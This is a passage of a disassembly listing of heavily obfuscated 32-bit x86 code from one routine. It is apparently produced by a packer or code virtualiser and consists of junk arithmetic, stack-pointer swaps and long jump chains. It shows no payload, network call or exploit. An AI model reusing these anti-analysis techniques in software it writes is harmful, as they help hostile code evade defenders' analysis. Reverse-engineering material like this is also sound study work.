		jmp	loc_5AA9CE
; ---------------------------------------------------------------------------


loc_5AA14A:				; CODE XREF: sub_58A891+12C9Fj
		sub	ecx, 6CE4726Ch
		shl	ecx, 3
		jmp	loc_5A51D9
; ---------------------------------------------------------------------------


loc_5AA158:				; CODE XREF: sub_58A891+1F05Ej
		add	ebx, 135A8A8h
		jmp	loc_5A7D7B
; ---------------------------------------------------------------------------


loc_5AA163:				; CODE XREF: sub_58A891+275F5j
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_5A5D81
; ---------------------------------------------------------------------------


loc_5AA170:				; CODE XREF: sub_58A891+146FEj
		sub	esp, 4
		mov	[esp+0B2h+var_B2], eax
		mov	ah, 0DFh
		add	ah, 10h
		sub	bl, 3Ah
		add	bl, 77h
		sub	bl, ah
		sub	bl, 77h
		add	bl, 3Ah
		mov	eax, [esp+0B2h+var_B2]
		add	esp, 4
		push	4913h
		jmp	loc_5ACC49
; ---------------------------------------------------------------------------


loc_5AA199:				; CODE XREF: sub_58A891+20129j
		pop	esp
		mov	[esp+0AEh+var_AE], ebx
		push	6C17h
		mov	[esp+0B2h+var_B2], esi
		jmp	loc_5A65E2
; ---------------------------------------------------------------------------


loc_5AA1AA:				; CODE XREF: sub_58A891+21433j
		mov	edi, 71C23037h
		sub	ebx, edi
		jmp	loc_5A55E1
; ---------------------------------------------------------------------------


loc_5AA1B6:				; CODE XREF: sub_58A891+18D8Fj
		xchg	ecx, [esp+0F2h+var_F4+2]
		pop	esp
		mov	[esp+0EEh+var_F0+2], esi
		push	edx
		mov	edx, 314716ECh
		jmp	loc_5A17D4
; ---------------------------------------------------------------------------


loc_5AA1C8:				; CODE XREF: sub_58A891+2116Dj
		push	edi
		mov	edi, 4CE35270h
		sub	edi, 0A5F2A183h
		jmp	loc_59E8E1
; ---------------------------------------------------------------------------


loc_5AA1D9:				; CODE XREF: sub_58A891+1925Dj
		add	ecx, 9DED58DBh
		mov	ebx, ecx
		jmp	loc_5ABEDF
; ---------------------------------------------------------------------------


loc_5AA1E6:				; CODE XREF: sub_58A891+24D0Bj
		jmp	loc_5A6C15
; ---------------------------------------------------------------------------


loc_5AA1EB:				; CODE XREF: sub_58A891+1659Aj
					; sub_58A891+23281j
		sub	al, ch
		pop	ecx
		add	bl, al
		mov	eax, [esp+50h+var_50]
		add	esp, 4
		sub	bl, 1Ch
		add	bl, al
		add	bl, 1Ch
		push	ecx
		push	ebx
		mov	bh, 8Dh
		mov	cl, 4Ah
		jmp	loc_5A92C2
; ---------------------------------------------------------------------------


loc_5AA209:				; CODE XREF: sub_58A891+12BE3j
		push	[esp+26h+var_28+2]
		mov	ecx, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	esp, 4
		pop	eax
		push	79DEh
		jmp	loc_59C569
; ---------------------------------------------------------------------------


loc_5AA223:				; CODE XREF: sub_58A891+1D2A5j
		mov	edx, [esp+32h+var_34+2]
		add	esp, 4
		add	edx, 4
		push	341Ah
		jmp	loc_5A684F
; ---------------------------------------------------------------------------


loc_5AA239:				; CODE XREF: sub_58A891+230A1j
		mov	edx, 57813FFDh
		push	ebx
		mov	ebx, 16B51A58h
		xor	edx, ebx
		pop	ebx
		shl	edx, 2
		push	edx
		xchg	edi, [esp+36h+var_38+2]
		jmp	loc_5AD7BD
; ---------------------------------------------------------------------------


loc_5AA253:				; CODE XREF: sub_58A891+1917Dj
		add	al, bl
		add	al, 4Bh
		mov	bx, word ptr [esp+3Eh+var_40+2]
		sub	esp, 4
		mov	[esp+42h+var_44+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		jmp	loc_5A3E4A
; ---------------------------------------------------------------------------


loc_5AA274:				; CODE XREF: sub_58A891+1D49Dj
		mov	eax, 4CF94168h
		jmp	loc_5AC568
; ---------------------------------------------------------------------------


loc_5AA27E:				; CODE XREF: sub_58A891+27F36j
		mov	ebp, [esp+0A2h+var_A2]
		add	esp, 4
		jmp	loc_5AC3B5
; ---------------------------------------------------------------------------


loc_5AA289:				; CODE XREF: sub_58A891+12536j
		mov	dh, 8Eh
		xor	dh, 17h
		jmp	loc_5B2B04
; ---------------------------------------------------------------------------


loc_5AA293:				; CODE XREF: sub_58A891+21EDAj
		xchg	ecx, [esp+0BEh+var_BE]
		pop	esp
		mov	[esp+0BAh+var_BA], edi
		push	1
		jmp	loc_5B2B55
; ---------------------------------------------------------------------------


loc_5AA2A4:				; CODE XREF: sub_58A891+12957j
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ebx
		jmp	loc_5A952F
; ---------------------------------------------------------------------------


loc_5AA2B2:				; CODE XREF: sub_58A891+116EBj
		mov	[esp+3Eh+var_40+2], ebx
		mov	bl, 0BDh
		shl	bl, 5
		push	edx
		mov	dl, bl
		not	dl
		mov	bl, dl
		pop	edx
		push	eax
		mov	al, 7Eh
		push	ecx
		mov	cl, 0D6h
		jmp	loc_5ABCC9
; ---------------------------------------------------------------------------


loc_5AA2CD:				; CODE XREF: sub_58A891+1419Ej
		mov	edi, eax
		pop	eax
		jmp	loc_5B2A76
; ---------------------------------------------------------------------------


loc_5AA2D5:				; CODE XREF: sub_58A891:loc_59D535j
		dec	edi
		jno	loc_5AF9A9
		jmp	loc_5A14AA
; ---------------------------------------------------------------------------
		pop	esi
		add	ebx, 1
		mov	eax, edx


loc_5AA2EA:				; CODE XREF: sub_58A891+1E82Dj
		mov	edi, 37612593h
		jmp	loc_59FC0A
; ---------------------------------------------------------------------------


loc_5AA2F4:				; CODE XREF: sub_58A891+19640j
		push	esp
		mov	ecx, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	esi
		mov	esi, 1DE15118h
		and	esi, 1A366541h
		add	esi, 0E7DFBF04h
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp+36h+var_38+2]
		mov	esp, [esp+36h+var_38+2]
		mov	[esp+36h+var_38+2], eax
		push	edi
		mov	edi, 69C20C4Fh
		jmp	loc_5ADEE5
; ---------------------------------------------------------------------------


loc_5AA32A:				; CODE XREF: sub_58A891+190F1j
		push	6E5Eh
		mov	[esp+0BAh+var_BA], ecx
		mov	ecx, offset byte_6135F1
		mov	edx, ecx
		jmp	loc_5A2669
; ---------------------------------------------------------------------------


loc_5AA33E:				; CODE XREF: sub_58A891+20B7Fj
		mov	esi, [esp+0BAh+var_BA]
		push	esi
		mov	esi, esp
		jmp	loc_5A3887
; ---------------------------------------------------------------------------


loc_5AA349:				; CODE XREF: sub_58A891+152E2j
		jg	loc_5A2DB0
		sub	ecx, 23D47AAEh
		jg	loc_59F584
		push	ecx


loc_5AA35C:				; CODE XREF: sub_58A891+1B404j
		mov	ebp, 6E9420Ch
		push	esi
		mov	esi, 6A43577Fh
		add	eax, esi
		jmp	loc_5A2958
; ---------------------------------------------------------------------------


loc_5AA36E:				; CODE XREF: sub_58A891+14581j
		dec	ecx
		xor	ecx, 6ED7378h
		jmp	loc_5A4DCE
; ---------------------------------------------------------------------------


loc_5AA37A:				; CODE XREF: sub_58A891+24DCBj
		add	ebp, edx
		add	ebp, 31F44798h
		pop	edx
		push	ebp
		push	[esp+3Ah+var_38+2]
		mov	ebp, [esp+3Eh+var_40+2]
		add	esp, 4
		pop	[esp+3Ah+var_3C+2]
		mov	esp, [esp+36h+var_38+2]
		jmp	loc_5A42E9
; ---------------------------------------------------------------------------


loc_5AA39C:				; CODE XREF: sub_58A891+1F516j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp+96h+var_98+2], ebx
		push	ecx
		mov	cl, 26h
		neg	cl
		shr	cl, 2
		jz	loc_5AFF46
		xor	cl, 8
		shl	cl, 4
		shr	cl, 8
		jmp	loc_59D4DA
; ---------------------------------------------------------------------------


loc_5AA3CA:				; CODE XREF: sub_58A891+187C2j
		add	esi, 4
		xor	esi, [esp+0B6h+var_B6]
		xor	[esp+0B6h+var_B6], esi
		xor	esi, [esp+0B6h+var_B6]
		jmp	loc_5A37D7
; ---------------------------------------------------------------------------


loc_5AA3DB:				; CODE XREF: sub_58A891+16C3Aj
		push	ebp
		mov	ebp, 0A58BFC7Bh
		sub	edi, ebp
		pop	ebp
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		jmp	loc_5A59DA
; ---------------------------------------------------------------------------
		push	[esp+94h+var_94]
		pop	eax
		sub	esp, 4
		mov	[esp+98h+var_98], edx
		mov	edx, esp
		jmp	loc_5A28E7
; ---------------------------------------------------------------------------


loc_5AA406:				; CODE XREF: sub_58A891:loc_59DA72j
					; sub_58A891+18F7Bj
		shr	ebp, 4
		jmp	loc_5AF670
; ---------------------------------------------------------------------------


loc_5AA40E:				; CODE XREF: sub_58A891+1715Fj
		push	edx
		mov	dh, 0E7h
		add	al, dh
		pop	edx
		add	al, 30h
		push	4A02h
		mov	[esp+102h+var_104+2], edx
		push	ebx
		mov	bl, 83h
		shr	bl, 3
		jp	loc_5B121C
		not	bl
		sub	bl, 32h
		jns	loc_5AF730
		shl	bl, 1
		push	edx
		mov	dl, 9Ch
		or	dl, 97h
		not	dl
		xor	dl, 78h
		add	bl, dl
		pop	edx
		jmp	loc_5A426A
; ---------------------------------------------------------------------------


loc_5AA44A:				; CODE XREF: sub_58A891+14533j
		sub	ebx, 1FE183ABh
		jmp	loc_5AFC78
; ---------------------------------------------------------------------------


loc_5AA455:				; CODE XREF: sub_58A891+1547Cj
		mov	ebx, ebp
		mov	ebp, [esp+22h+var_24+2]
		add	esp, 4
		add	eax, 10E31757h
		jmp	loc_5AEC0F
; ---------------------------------------------------------------------------


loc_5AA46A:				; CODE XREF: sub_58A891:loc_59D05Aj
		add	eax, 0BF9FCE04h
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		pop	eax
		push	ecx
		mov	ecx, 4BBF78F8h
		jmp	loc_5A1775
; ---------------------------------------------------------------------------


loc_5AA481:				; CODE XREF: sub_58A891+1A45Cj
		mov	edx, 0A1CEB5D9h
		sub	edx, 3F9E6237h
		sub	edx, ebp
		jmp	loc_5ABECD
; ---------------------------------------------------------------------------


loc_5AA493:				; CODE XREF: sub_58A891+24445j
		mov	ecx, [esp+0A4h+var_A6+2]
		add	esp, 4
		push	esi
		not	[esp+0A4h+var_A6+2]
		pop	esi
		shl	esi, 8
		push	ebp
		mov	ebp, 0DA9253FEh
		sub	esi, ebp
		push	[esp+0A4h+var_A6+2]
		pop	ebp
		add	esp, 4
		add	edi, esi
		jmp	loc_5AC3FA
; ---------------------------------------------------------------------------


loc_5AA4BA:				; CODE XREF: sub_58A891+16A1Aj
		sub	esi, 34586EC5h
		and	esi, 37691430h
		xor	esi, 36480024h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+5Ch+var_5C]
		pop	esp
		sub	esp, 4
		mov	[esp+5Ch+var_5C], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+5Ch+var_5C]
		jmp	loc_5AE52B
; ---------------------------------------------------------------------------


loc_5AA4EF:				; CODE XREF: sub_58A891+24D82j
		pop	ebp
		pop	ebp
		push	ebx
		mov	ebx, 1836626Ah
		jmp	loc_5B0673
; ---------------------------------------------------------------------------


loc_5AA4FC:				; CODE XREF: sub_58A891+118F5j
		mov	ebp, 5C1A145Ch
		shl	ebp, 5
		shl	ebp, 7
		shl	ebp, 7
		shl	ebp, 6
		xor	ebp, 43D764EEh
		jmp	loc_5A3751
; ---------------------------------------------------------------------------


loc_5AA518:				; CODE XREF: sub_58A891+1554Cj
		shr	eax, 4
		add	eax, 6BAEDD02h
		sub	esi, eax
		mov	eax, [esp+1Ah+var_1C+2]
		add	esp, 4
		mov	ecx, [esp+16h+var_18+2]
		push	0A1Eh
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 2EAF747Dh
		jmp	loc_5B0D63
; ---------------------------------------------------------------------------


loc_5AA540:				; CODE XREF: sub_58A891+20892j
		pop	esp
		shr	eax, 0Eh
		xor	eax, ecx
		push	51F8h
		mov	[esp+1Eh+var_20+2], eax
		push	ebx
		push	[esp+22h+var_20+2]
		jmp	loc_59F573
; ---------------------------------------------------------------------------


loc_5AA558:				; CODE XREF: sub_58A891+26B9Dj
		add	bl, al
		pop	eax
		jmp	loc_5AD878
; ---------------------------------------------------------------------------


loc_5AA560:				; CODE XREF: sub_58A891+250D3j
		push	[esp+22h+var_20+2]
		pop	ebp
		jmp	loc_5A6B46
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+22h+var_24+2]
		jmp	loc_5B201B
; ---------------------------------------------------------------------------


loc_5AA573:				; CODE XREF: sub_58A891+15C9Aj
					; sub_58A891+25348j
		mov	esp, [esp+0C8h+var_CA+2]
		jmp	loc_59D507
; ---------------------------------------------------------------------------


loc_5AA57B:				; CODE XREF: sub_58A891+1FD1Bj
		or	eax, 0FFB11C0h
		push	edx
		jmp	loc_59F5F2
; ---------------------------------------------------------------------------


loc_5AA586:				; CODE XREF: sub_58A891+18A73j
		mov	esi, 270A5B7Ah
		and	esi, 104A3796h
		sub	esi, 6DD0416Bh
		dec	esi
		shl	esi, 2
		sub	esi, 380DFC57h
		xor	eax, esi
		mov	esi, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_5AA57B
; ---------------------------------------------------------------------------


loc_5AA5B1:				; CODE XREF: sub_58A891+13179j
		sub	al, ch
		pop	ecx
		push	ebx
		jmp	loc_5AFAD4
; ---------------------------------------------------------------------------


loc_5AA5BA:				; CODE XREF: sub_58A891+1994Bj
		or	ebx, 34E6677Ch
		or	ebx, 39532C45h
		shr	ebx, 7
		jmp	loc_5A4789
; ---------------------------------------------------------------------------


loc_5AA5CE:				; CODE XREF: sub_58A891+1DAA8j
		mov	esi, 2D253520h
		sub	esp, 4
		jmp	loc_5B1AF5
; ---------------------------------------------------------------------------


loc_5AA5DE:				; CODE XREF: sub_58A891+1A0F8j
		pop	edx
		add	edx, 3A35759Ch
		jmp	loc_5A6A5E
; ---------------------------------------------------------------------------


loc_5AA5EA:				; CODE XREF: sub_58A891+23CBAj
		sub	ah, 0FFh
		push	edx
		jmp	loc_5AC72F
; ---------------------------------------------------------------------------


loc_5AA5F3:				; CODE XREF: sub_58A891+17126j
		pop	edi
		jmp	loc_5A28D2
; ---------------------------------------------------------------------------


loc_5AA5F9:				; CODE XREF: sub_58A891+14A6Ej
		push	ebx
		mov	ebx, 0F760E71h
		jmp	loc_5A7B05
; ---------------------------------------------------------------------------


loc_5AA604:				; CODE XREF: sub_58A891+1B70Ej
		pop	edi
		push	34FBh
		mov	[esp+42h+var_44+2], eax
		mov	eax, esp
		jmp	loc_5A2E42
; ---------------------------------------------------------------------------


loc_5AA614:				; CODE XREF: sub_58A891+18A88j
		xchg	edx, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		mov	[esp+16h+var_18+2], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA622:				; CODE XREF: sub_58A891+1C429j
					; sub_58A891+1D109j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0B2h+var_B2]
		mov	esp, [esp+0B2h+var_B2]
		xor	ebx, ebp
		pop	ebp
		and	ecx, ebx
		mov	ebx, [esp+0AEh+var_AE]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_5A3F70
; ---------------------------------------------------------------------------


loc_5AA653:				; CODE XREF: sub_58A891+24AB0j
		push	ebx
		mov	bl, 5Ah
		sub	bl, 1
		shr	bl, 4
		push	ecx
		mov	ch, 0FCh
		sub	bl, 0DBh
		add	bl, ch
		jmp	loc_5AC246
; ---------------------------------------------------------------------------


loc_5AA669:				; CODE XREF: sub_58A891+13BE8j
		or	ebx, esi
		pop	esi
		dec	ebx
		jmp	loc_5A830D
; ---------------------------------------------------------------------------


loc_5AA672:				; CODE XREF: sub_58A891+1FE5Fj
		pop	esp
		push	eax
		mov	eax, esp
		push	ecx
		push	ebp
		sub	esp, 4
		mov	[esp+0B2h+var_B2], esp
		add	[esp+0B2h+var_B2], 4
		pop	ebp
		sub	esp, 4
		mov	[esp+0B2h+var_B2], ecx
		mov	ecx, 4
		add	ebp, 21297FB8h
		add	ebp, ecx
		sub	ebp, 21297FB8h
		pop	ecx
		jmp	loc_5A78B2
; ---------------------------------------------------------------------------


loc_5AA6A5:				; CODE XREF: sub_58A891+1F6B3j
		and	ebx, 14932A94h
		jns	loc_5AF1BA
		not	ebx
		sub	ebx, 7F80EB55h
		jmp	loc_59DC62
; ---------------------------------------------------------------------------
		mov	dh, ah


loc_5AA6C0:				; CODE XREF: sub_58A891+206ACj
		add	edi, 3DEDF41Fh
		and	ebx, edi
		pop	edi
		jmp	loc_5B1029
; ---------------------------------------------------------------------------


loc_5AA6CE:				; CODE XREF: sub_58A891+1D7EFj
		push	67BF5001h
		pop	ebp
		or	ebp, 111C4079h
		jns	loc_5A2C81
		jmp	loc_5ADE44
; ---------------------------------------------------------------------------
		xor	al, bl
		sub	esp, 4


loc_5AA6ED:				; CODE XREF: sub_58A891+18C00j
		pop	[esp+5Ah+var_5C+2]
		jmp	loc_5AA672
; ---------------------------------------------------------------------------


loc_5AA6F5:				; CODE XREF: sub_58A891+1A571j
		mov	ch, 0E8h
		jmp	loc_5AACC6
; ---------------------------------------------------------------------------


loc_5AA6FC:				; CODE XREF: sub_58A891+22681j
		jmp	loc_5A0132
; ---------------------------------------------------------------------------


loc_5AA701:				; CODE XREF: sub_58A891+26E7Dj
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	eax, 4
		xor	eax, [esp+0C8h+var_CA+2]
		xor	[esp+0C8h+var_CA+2], eax
		jmp	loc_5B0108
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+0C6h+var_C6], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA726:				; CODE XREF: sub_58A891+1C37Fj
		add	ecx, 8E510459h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AF44A
; ---------------------------------------------------------------------------


loc_5AA734:				; CODE XREF: sub_58A891+160ADj
		pop	ecx
		push	ecx
		jmp	loc_5A5F02
; ---------------------------------------------------------------------------


loc_5AA73B:				; CODE XREF: sub_58A891+2139Ej
		add	edx, ebp
		sub	edx, 703D523Ch
		mov	ebp, [esp+90h+var_90]
		add	esp, 4
		xor	edx, [esp+8Ch+var_8C]
		jmp	loc_5A423A
; ---------------------------------------------------------------------------


loc_5AA751:				; CODE XREF: sub_58A891+1B070j
		mov	[esp+72h+var_74+2], esi
		jmp	loc_5B28B8
; ---------------------------------------------------------------------------


loc_5AA759:				; CODE XREF: sub_58A891:loc_59FA7Dj
		or	eax, 2A0A05C9h
		jnb	loc_59D944
		xor	eax, 0F36537C8h
		jmp	loc_5A8D3E
; ---------------------------------------------------------------------------
		push	edx
		xor	al, 11h
		pop	esi


loc_5AA772:				; CODE XREF: sub_58A891+27C1Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+12h+var_14+2]
		pop	esp
		jmp	loc_59ED96
; ---------------------------------------------------------------------------


loc_5AA789:				; CODE XREF: sub_58A891+1C1F3j
		push	edx
		mov	dl, 0Ah
		dec	dl
		xor	dl, 21h
		xor	bh, dl
		pop	edx
		mov	ah, 26h
		xor	ah, bh
		jmp	loc_5A69EC
; ---------------------------------------------------------------------------


loc_5AA79D:				; CODE XREF: sub_58A891+1468Bj
		add	eax, 4
		jmp	loc_5AD6B1
; ---------------------------------------------------------------------------


loc_5AA7A7:				; CODE XREF: sub_58A891+22BDDj
		shr	cl, 3
		jmp	loc_5AB67F
; ---------------------------------------------------------------------------


loc_5AA7AF:				; CODE XREF: sub_58A891+20810j
		mov	edx, 5D5B6559h
		add	edx, 0FE2005F9h
		mov	esi, edx
		push	[esp+9Eh+var_9E]
		mov	edx, [esp+0A2h+var_A2]
		add	esp, 4
		add	esp, 4
		and	ecx, esi
		pop	esi
		or	ecx, 1E49609Dh
		push	4360h
		mov	[esp+0], esi
		mov	esi, 1F496379h
		sub	ecx, 39CB0658h
		jmp	loc_5A5682
; ---------------------------------------------------------------------------


loc_5AA7E9:				; CODE XREF: sub_58A891+1B286j
					; sub_58A891+27365j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA7EE:				; CODE XREF: sub_58A891+1322Ej
		add	esp, 4
		sub	edi, 54597F2Ch
		jmp	loc_5A23EB
; ---------------------------------------------------------------------------


loc_5AA7FC:				; CODE XREF: sub_58A891+117BAj
		push	ecx
		mov	ecx, 40A30A53h
		dec	ecx
		shr	ecx, 6
		shl	ecx, 7
		xor	ecx, 0BA0636FDh
		or	edx, ecx
		pop	ecx
		jmp	loc_5A7915
; ---------------------------------------------------------------------------


loc_5AA817:				; CODE XREF: sub_58A891+238E4j
		sub	al, 0E5h
		push	dx
		jmp	loc_5A83CA
; ---------------------------------------------------------------------------


loc_5AA820:				; CODE XREF: sub_58A891+11F32j
		add	esi, 0FFFFFFFFh
		xor	esi, 68580367h
		shl	esi, 1
		add	esi, 413238E8h
		add	edx, esi
		jmp	loc_5ADE74
; ---------------------------------------------------------------------------


loc_5AA838:				; CODE XREF: sub_58A891+15AEAj
		push	esi
		push	esp
		mov	esi, [esp+0CAh+var_CA]
		add	esp, 4
		push	5073h
		mov	[esp+0CAh+var_CA], ebx
		jmp	loc_5AE8A0
; ---------------------------------------------------------------------------


loc_5AA84D:				; CODE XREF: sub_58A891+14E02j
		add	ebp, 4
		xchg	ebp, [esp+2Eh+var_30+2]
		mov	esp, [esp+2Eh+var_30+2]
		jmp	loc_5AE363
; ---------------------------------------------------------------------------


loc_5AA85E:				; CODE XREF: sub_58A891+1F153j
		mov	edi, [esp+0C8h+var_CA+2]
		jmp	loc_5A1236
; ---------------------------------------------------------------------------


loc_5AA866:				; CODE XREF: sub_58A891+1F4B0j
		pop	edi
		sub	[esp+68h+var_64], edx
		sub	[esp+68h+var_64], 23F17255h
		push	ecx
		mov	ecx, 2CD46344h
		add	[esp+6Ch+var_64], ecx
		pop	ecx
		mov	edx, [esp+68h+var_68]
		push	181Fh
		mov	[esp+6Ch+var_6C], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		jmp	loc_5A96BF
; ---------------------------------------------------------------------------


loc_5AA897:				; CODE XREF: sub_58A891+13F6Dj
					; sub_58A891+1BF95j ...
		jmp	loc_5B20D5
; ---------------------------------------------------------------------------


loc_5AA89C:				; CODE XREF: sub_58A891+17AE9j
		push	4C195037h
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5AA8A6:				; CODE XREF: sub_58A891+21E38j
		xor	eax, edx
		mov	edx, [esp+0C6h+var_C6]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5A7376
; ---------------------------------------------------------------------------


loc_5AA8B3:				; CODE XREF: sub_58A891+1AAD7j
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AA8BC:				; CODE XREF: sub_58A891+23369j
		xor	[esp+0AAh+var_AA], edi
		xor	edi, [esp+0AAh+var_AA]
		pop	esp
		mov	[esp+0A6h+var_A6], edi
		mov	edi, 1AD36C36h
		jmp	loc_5A028A
; ---------------------------------------------------------------------------


loc_5AA8D0:				; CODE XREF: sub_58A891+18970j
		mov	[esp+46h+var_48+2], eax
		mov	eax, 2A962B9Ah
		push	eax
		neg	[esp+4Ah+var_4C+2]
		mov	eax, [esp+4Ah+var_4C+2]
		jmp	loc_5AB340
; ---------------------------------------------------------------------------


loc_5AA8E4:				; CODE XREF: sub_58A891+1F84Bj
		push	eax
		push	ecx
		mov	ecx, 1D342921h
		push	ebx
		push	2D4A15F9h
		pop	ebx
		sub	ecx, ebx
		jmp	loc_59E357
; ---------------------------------------------------------------------------


loc_5AA8F9:				; CODE XREF: sub_58A891+144C9j
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_5A237F
; ---------------------------------------------------------------------------


loc_5AA907:				; CODE XREF: sub_58A891+19549j
		pop	edx
		jmp	loc_59C447
; ---------------------------------------------------------------------------


loc_5AA90D:				; CODE XREF: sub_58A891+13940j
					; sub_58A891+26F88j
		shl	ebx, 7
		not	ebx
		jmp	loc_5A9518
; ---------------------------------------------------------------------------


loc_5AA917:				; CODE XREF: sub_58A891+1CCE3j
		push	esi
		jmp	loc_5ACBDC
; ---------------------------------------------------------------------------


loc_5AA91D:				; CODE XREF: sub_58A891+22834j
					; sub_58A891+26757j
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		jmp	loc_5A40FF
; ---------------------------------------------------------------------------


loc_5AA928:				; CODE XREF: sub_58A891+1CA06j
		jmp	loc_5AD102
; ---------------------------------------------------------------------------


loc_5AA92D:				; CODE XREF: sub_58A891+21459j
		mov	edi, [esp+90h+var_90]
		jmp	loc_5ABB38
; ---------------------------------------------------------------------------


loc_5AA935:				; CODE XREF: sub_58A891+2079Fj
		sub	ecx, 0B9EA75BBh
		and	ebx, ecx
		pop	ecx
		push	36Eh
		jmp	loc_5A58A7
; ---------------------------------------------------------------------------


loc_5AA948:				; CODE XREF: sub_58A891+285FCj
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+90h+var_90]
		mov	esp, [esp+90h+var_90]
		xchg	eax, [esp+90h+var_90]
		pop	esp
		mov	word ptr [esp+8Ch+var_8C], dx
		jmp	loc_5A3F87
; ---------------------------------------------------------------------------


loc_5AA969:				; CODE XREF: sub_58A891+2660Cj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_5AFBDE
; ---------------------------------------------------------------------------


loc_5AA975:				; CODE XREF: sub_58A891+1DB5Cj
		pop	ebp
		add	edi, 4
		push	edi
		push	[esp+0A6h+var_A2]
		pop	edi
		pop	[esp+0A6h+var_A6]
		pop	esp
		push	ecx
		push	esi
		mov	esi, 0D5B64E0h
		shr	esi, 3
		jp	loc_5A0FE9
		jmp	loc_5ACD18
; ---------------------------------------------------------------------------
		mov	eax, 1D743E89h


loc_5AA99D:				; CODE XREF: sub_58A891+27565j
		xor	ebp, [esp+0A6h+var_A6]
		xor	[esp+0A6h+var_A6], ebp
		xor	ebp, [esp+0A6h+var_A6]
		pop	esp
		jmp	loc_5B20C5
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0A6h+var_A6]
		jmp	loc_5AA199
; ---------------------------------------------------------------------------


loc_5AA9BF:				; CODE XREF: sub_58A891+1713Cj
		pop	edx
		xchg	esi, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		shr	eax, 8
		jmp	loc_5B1EE5
; ---------------------------------------------------------------------------


loc_5AA9CE:				; CODE XREF: sub_58A891:loc_5AA145j
		sub	ebp, 75405A52h
		xor	ebp, 5F001DD3h
		jmp	loc_5AABDF
; ---------------------------------------------------------------------------


loc_5AA9DF:				; CODE XREF: sub_58A891+26D44j
		inc	esi
		shl	esi, 4
		js	loc_5A0E6A
		shl	esi, 4
		jns	loc_5AC8CA
		push	ecx


loc_5AA9F3:				; CODE XREF: sub_58A891+27FCFj
		sub	esp, 4
		mov	[esp+0B6h+var_B6], esp
		jmp	loc_5ABB60
; ---------------------------------------------------------------------------


loc_5AAA01:				; CODE XREF: sub_58A891+1CD92j
		pop	esi
		xor	ebx, [esp+0A8h+var_AA+2]
		xor	[esp+0A8h+var_AA+2], ebx
		xor	ebx, [esp+0A8h+var_AA+2]
		mov	esp, [esp+0A8h+var_AA+2]
		jmp	loc_59FAFA
; ---------------------------------------------------------------------------


loc_5AAA13:				; CODE XREF: sub_58A891+1BDB8j
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_24+2]
		div	cl
		movzx	cx, ah
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		jmp	loc_5A7980
; ---------------------------------------------------------------------------


loc_5AAA2D:				; CODE XREF: sub_58A891+1929Fj
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_59E537
; ---------------------------------------------------------------------------


loc_5AAA3B:				; CODE XREF: sub_58A891+24141j
		xor	ch, 18h
		sub	ah, ch
		jmp	loc_5AB6F9
; ---------------------------------------------------------------------------


loc_5AAA45:				; CODE XREF: sub_58A891+1F3A9j
		mov	esi, [esp+82h+var_84+2]
		push	7E13h
		jmp	loc_5A6C6A
; ---------------------------------------------------------------------------


loc_5AAA52:				; CODE XREF: sub_58A891+16251j
		mov	esp, [esp+96h+var_98+2]
		sar	word ptr [esp+96h+var_98+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AAA5F:				; CODE XREF: sub_58A891+1A943j
		sub	eax, 4
		xchg	eax, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], edx
		jmp	loc_5A840B
; ---------------------------------------------------------------------------


loc_5AAA6E:				; CODE XREF: sub_58A891+16C50j
					; sub_58A891+20CDAj
		xor	eax, ebp
		pop	ebp
		and	[edi+1Ch], eax
		push	[esp+94h+var_94]
		push	[esp+98h+var_98]
		mov	eax, [esp+9Ch+var_9E+2]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 69405DC5h
		dec	esi
		add	esi, 96BFA240h
		add	edi, esi
		jmp	loc_5A8D00
; ---------------------------------------------------------------------------


loc_5AAA9A:				; CODE XREF: sub_58A891+16D29j
		add	ecx, 64FC0D45h
		sub	ecx, ebx
		jmp	loc_59E419
; ---------------------------------------------------------------------------


